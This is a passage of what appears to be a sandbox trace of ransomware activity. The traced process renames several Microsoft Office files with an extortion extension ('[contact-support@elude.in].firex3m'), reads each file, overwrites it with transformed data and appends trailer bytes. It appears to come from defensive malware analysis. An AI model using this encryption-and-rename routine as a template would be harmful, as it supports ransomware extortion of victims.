dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0151.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0151.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FAXEXT~1.FIR")) returned 0x6d52c0 [0151.837] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0151.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0151.837] GetProcessHeap () returned 0x630000 [0151.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x341) returned 0x69ec20 [0151.837] GetProcessHeap () returned 0x630000 [0151.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x341) returned 0x6fbec88 [0151.838] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.838] ReadFile (in: hFile=0x4b8, lpBuffer=0x69ec20, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x69ec20*, lpNumberOfBytesRead=0x54bff0c*=0x320, lpOverlapped=0x0) returned 1 [0151.842] GetProcessHeap () returned 0x630000 [0151.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0151.842] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.842] WriteFile (in: hFile=0x4b8, lpBuffer=0x6fbec88*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbec88*, lpNumberOfBytesWritten=0x54bff0c*=0x320, lpOverlapped=0x0) returned 1 [0151.842] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.843] WriteFile (in: hFile=0x4b8, lpBuffer=0x6fbefa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbefa7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0151.843] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.843] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0151.843] CloseHandle (hObject=0x4b8) returned 1 [0151.843] GetProcessHeap () returned 0x630000 [0151.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fbec88 | out: hHeap=0x630000) returned 1 [0151.843] GetProcessHeap () returned 0x630000 [0151.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69ec20 | out: hHeap=0x630000) returned 1 [0151.843] GetProcessHeap () returned 0x630000 [0151.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0151.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2074c1f9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0xa647496, dwReserved1=0x69ec18, cFileName="FAXEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FAXEXT~1.FIR")) returned 0x6d4f80 [0151.843] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0151.843] Sleep (dwMilliseconds=0x1) [0151.857] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", len=0x45 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE") returned 1 [0151.857] GetProcessHeap () returned 0x630000 [0151.857] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b8c) returned 0x713f7f0 [0151.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0151.859] CloseHandle (hObject=0x4b8) returned 1 [0151.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0151.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0151.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13086ac2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13086ac2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZTO~1.FIR")) returned 0x6d4ec0 [0151.860] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0151.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0151.860] GetProcessHeap () returned 0x630000 [0151.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0151.860] GetProcessHeap () returned 0x630000 [0151.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72531e0 [0151.860] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.860] ReadFile (in: hFile=0x4b8, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.220] GetProcessHeap () returned 0x630000 [0160.220] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0160.220] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.221] WriteFile (in: hFile=0x4b8, lpBuffer=0x72531e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531e0*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.221] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.221] WriteFile (in: hFile=0x4b8, lpBuffer=0x725e5df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x725e5df*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.222] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.222] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.223] CloseHandle (hObject=0x4b8) returned 1 [0160.223] GetProcessHeap () returned 0x630000 [0160.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72531e0 | out: hHeap=0x630000) returned 1 [0160.223] GetProcessHeap () returned 0x630000 [0160.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0160.223] GetProcessHeap () returned 0x630000 [0160.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0161.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13086ac2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13086ac2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2572efc2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaf6024, dwReserved0=0xa647496, dwReserved1=0x7247da8, cFileName="ACWZTOOL.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZTO~1.FIR")) returned 0x6d5540 [0161.142] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0161.142] Sleep (dwMilliseconds=0x1) [0161.163] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml") returned 1 [0161.164] GetProcessHeap () returned 0x630000 [0161.164] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bcc) returned 0x707d3d0 [0161.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.164] CloseHandle (hObject=0x5ec) returned 1 [0161.164] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.165] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1191, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0161.166] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0161.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.166] GetProcessHeap () returned 0x630000 [0161.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11a1) returned 0x722a78 [0161.166] GetProcessHeap () returned 0x630000 [0161.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11a1) returned 0x72369e8 [0161.166] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.166] ReadFile (in: hFile=0x5ec, lpBuffer=0x722a78, nNumberOfBytesToRead=0x1180, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesRead=0x54bff0c*=0x1180, lpOverlapped=0x0) returned 1 [0161.196] GetProcessHeap () returned 0x630000 [0161.196] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0161.196] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.196] WriteFile (in: hFile=0x5ec, lpBuffer=0x72369e8*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesWritten=0x54bff0c*=0x1180, lpOverlapped=0x0) returned 1 [0161.196] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.196] WriteFile (in: hFile=0x5ec, lpBuffer=0x7237b67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237b67*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.196] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.196] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.197] CloseHandle (hObject=0x5ec) returned 1 [0161.197] GetProcessHeap () returned 0x630000 [0161.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0161.197] GetProcessHeap () returned 0x630000 [0161.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.197] GetProcessHeap () returned 0x630000 [0161.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0161.197] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2606c035, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11b5, dwReserved0=0xa647496, dwReserved1=0x722a70, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d54c0 [0161.197] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0161.197] Sleep (dwMilliseconds=0x1) [0161.219] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", len=0x62 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl") returned 1 [0161.220] GetProcessHeap () returned 0x630000 [0161.220] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc0) returned 0x707d3d0 [0161.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.220] CloseHandle (hObject=0x5ec) returned 1 [0161.220] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.232] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x700070, dwReserved1=0x72006f, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d5280 [0161.232] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0161.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.233] GetProcessHeap () returned 0x630000 [0161.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x72b1668 [0161.233] GetProcessHeap () returned 0x630000 [0161.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x71049c0 [0161.233] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.233] ReadFile (in: hFile=0x5ec, lpBuffer=0x72b1668, nNumberOfBytesToRead=0x49a0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b1668*, lpNumberOfBytesRead=0x54bff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0165.112] GetProcessHeap () returned 0x630000 [0165.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0165.112] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.112] WriteFile (in: hFile=0x5ec, lpBuffer=0x71049c0*, nNumberOfBytesToWrite=0x49a0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71049c0*, lpNumberOfBytesWritten=0x54bff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0165.112] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.112] WriteFile (in: hFile=0x5ec, lpBuffer=0x710935f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x710935f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.113] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.113] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.113] CloseHandle (hObject=0x5ec) returned 1 [0165.113] GetProcessHeap () returned 0x630000 [0165.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71049c0 | out: hHeap=0x630000) returned 1 [0165.113] GetProcessHeap () returned 0x630000 [0165.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b1668 | out: hHeap=0x630000) returned 1 [0165.113] GetProcessHeap () returned 0x630000 [0165.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0165.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: 